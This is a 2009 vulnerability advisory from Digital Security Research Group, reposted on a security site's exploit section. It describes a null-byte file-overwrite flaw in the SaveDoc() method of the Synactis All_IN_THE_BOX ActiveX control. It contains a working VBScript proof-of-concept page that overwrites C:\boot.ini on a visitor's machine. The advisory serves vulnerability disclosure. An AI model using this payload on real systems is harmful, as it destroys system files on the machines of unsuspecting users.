首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Synactis All_IN_THE_BOX ActiveX v3 Null byte File Overwrite Vuln
来源:vfocus.net 作者:vfocus 发布时间:2009-02-02  
Digital Security Research Group [DSecRG] Advisory       #DSECRG-09-006

http://www.dsecrg.com/pages/vul/show.php?id=62


Application:                    Synactis All_IN_THE_BOX ActiveX
Versions Affected:              3
Vendor URL:                     http://synactis.com
Bugs:                           Null byte File overwriting
Exploits:                       YES
Reported:                       15.01.2009
Vendor response:                NONE
Second Report:                  22.01.2009
Vendor response:                NONE
Date of Public Advisory:        30.01.2009
Authors:                        Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)


Description
***********
Synactis All_IN_THE_BOX ActiveX  Control  (ALL_IN_THE_BOX.OCX) can be used to owervrite any any file in target system.
Vulnerable method is "SaveDoc()"


Details
*******

By default when saving file All_IN_THE_BOX ActiveX control  attend extension to filename variable in "SaveDoc()" method.
For example if you enter filename "boot.ini" in "SaveDoc()" method then control will create file boot.ini.box.
But by attending a null byte to filename attacker can owervrite any file in OS (see example for owervriting boot.ini)



Class AllBox
GUID: {B5576893-F948-4E0F-9BE1-A37CB56D66FF}
Number of Interfaces: 1
Default Interface: IAllBox
RegKey Safe for Script: False
RegkeySafe for Init: False
KillBitSet: False



Example:
*******

<html>
Test Exploit page
<object classid='clsid:B5576893-F948-4E0F-9BE1-A37CB56D66FF' id='sh2kerr' ></object>
<script language='vbscript'>

targetFile = "C:\PROGRA~1\Synactis\ALLIN-~1\ALL_IN~1.OCX"
prototype  = "Sub SaveDoc ( ByVal aFileName As String )"
memberName = "SaveDoc"
progid     = "All_In_The_Box.AllBox"
argCount   = 1
arg1="C:\boot.ini"+unescape("%00")
sh2kerr.SaveDoc arg1
</script>
</html>



Fix Information
***************

No patches available.
We did not get any response from vendor for 2 weeks.




About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:        research [at] dsec [dot] ru
                http://www.dsecrg.com
                http://www.dsec.ru

# [2009-01-30]

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·GNUBoard 4.31.04 (09.01.30) Mu
·GOM Player 2.0.12 (.PLS) Unive
·Amaya Web Editor 11 Remote SEH
·BPAutoSales 1.0.1 (XSS/SQL) Mu
·ReVou Twitter Clone (XSS/SQL)
·Orca 2.0.2 (Topic) Remote XSS
·SalesCart (Auth Bypass) SQL In
·SkaLinks 1.5 (Auth Bypass) SQL
·Total Video Player 1.3.7 (.m3u
·eVision CMS <= 2.0 (field) SQL
·Pligg 9.9.5 XSRF Protection By
·Spider Player 2.3.9.5 (asx Fil
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved